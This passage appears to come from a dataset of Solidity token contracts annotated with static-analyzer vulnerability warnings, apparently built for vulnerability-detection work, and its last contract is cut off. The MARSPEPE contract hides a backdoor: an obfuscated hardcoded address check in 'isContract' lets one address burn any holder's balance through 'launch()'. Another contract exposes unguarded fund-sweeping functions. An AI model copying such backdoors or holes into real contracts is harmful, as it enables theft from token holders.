Recommendation for 5ec08a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 375437e): HOUSEOFRA._finalBuyTax should be constant \n\t// Recommendation for 375437e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b627ae): HOUSEOFRA._finalSellTax should be constant \n\t// Recommendation for 5b627ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b0cfaf): HOUSEOFRA._reduceBuyTaxAt should be constant \n\t// Recommendation for 2b0cfaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08416cf): HOUSEOFRA._reduceSellTaxAt should be constant \n\t// Recommendation for 08416cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: a817d42): HOUSEOFRA._preventSwapBefore should be constant \n\t// Recommendation for a817d42: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 47000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"House of Ra\";\n\n string private constant _symbol = unicode\"HORA\";\n\n uint256 public _maxTxAmount = 470000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 705000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2db253): HOUSEOFRA._taxSwapThreshold should be constant \n\t// Recommendation for a2db253: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 47000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0e617c): HOUSEOFRA._maxTaxSwap should be constant \n\t// Recommendation for f0e617c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 470000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearStuck(uint256 amount);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _teamWallet = payable(0xD29479DA7C7C0010bC367061C1B04ae49A1C7c22);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f413015): HOUSEOFRA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f413015: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c0ef51c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c0ef51c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8c96712): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8c96712: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c0ef51c\n\t\t// reentrancy-benign | ID: 8c96712\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c0ef51c\n\t\t// reentrancy-benign | ID: 8c96712\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9217dff): HOUSEOFRA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9217dff: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8c96712\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c0ef51c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e10e203): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e10e203: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f56668): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f56668: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e10e203\n\t\t\t\t// reentrancy-eth | ID: 9f56668\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e10e203\n\t\t\t\t\t// reentrancy-eth | ID: 9f56668\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9f56668\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e10e203\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9f56668\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9f56668\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e10e203\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c0ef51c\n\t\t// reentrancy-events | ID: e10e203\n\t\t// reentrancy-benign | ID: 8c96712\n\t\t// reentrancy-eth | ID: 9f56668\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b913f44): HOUSEOFRA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(taxWalletShare)\n\t// Recommendation for b913f44: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n uint256 taxWalletShare = (amount * _taxWalletPercentage) / 100;\n\n uint256 teamWalletShare = (amount * _teamWalletPercentage) / 100;\n\n\t\t// reentrancy-events | ID: c0ef51c\n\t\t// reentrancy-events | ID: e10e203\n\t\t// reentrancy-eth | ID: 9f56668\n\t\t// arbitrary-send-eth | ID: b913f44\n _taxWallet.transfer(taxWalletShare);\n\n\t\t// reentrancy-events | ID: c0ef51c\n\t\t// reentrancy-events | ID: e10e203\n\t\t// reentrancy-eth | ID: 9f56668\n _teamWallet.transfer(teamWalletShare);\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(\n address(this).balance > 0,\n \"Contract balance must be greater than zero\"\n );\n\n uint256 balance = address(this).balance;\n\n payable(_taxWallet).transfer(balance);\n }\n\n function manualSwap() external {\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 32413a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 32413a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 58f530d): HOUSEOFRA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 58f530d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 83034fe): HOUSEOFRA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 83034fe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de189ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de189ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 32413a8\n\t\t// reentrancy-eth | ID: de189ba\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 32413a8\n\t\t// unused-return | ID: 58f530d\n\t\t// reentrancy-eth | ID: de189ba\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 32413a8\n\t\t// unused-return | ID: 83034fe\n\t\t// reentrancy-eth | ID: de189ba\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 32413a8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: de189ba\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 32413a8\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10100.sol",
"size_bytes": 21314,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"MARSPEPE\", unicode\"MARSPEPE\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10101.sol",
"size_bytes": 7170,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: efb8994): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for efb8994: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: efb8994\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3394be5): tweet._taxWallet should be immutable \n\t// Recommendation for 3394be5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed1c3af): tweet._initialBuyTax should be constant \n\t// Recommendation for ed1c3af: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fecf89): tweet._initialSellTax should be constant \n\t// Recommendation for 3fecf89: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bb9117): tweet._finalBuyTax should be constant \n\t// Recommendation for 2bb9117: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16fec7d): tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 16fec7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55203ef): tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 55203ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: be73a9d): tweet._preventSwapBefore should be constant \n\t// Recommendation for be73a9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5696962): tweet._taxSwapThreshold should be constant \n\t// Recommendation for 5696962: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e35229): tweet._maxTaxSwap should be constant \n\t// Recommendation for 9e35229: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4b4adf): tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4b4adf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 36d0b21): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 36d0b21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39403af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39403af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 36d0b21\n\t\t// reentrancy-benign | ID: 39403af\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 36d0b21\n\t\t// reentrancy-benign | ID: 39403af\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bcafb9d): tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bcafb9d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 231feec\n\t\t// reentrancy-benign | ID: 39403af\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-events | ID: 36d0b21\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c56e31a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c56e31a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b75b19b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b75b19b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > 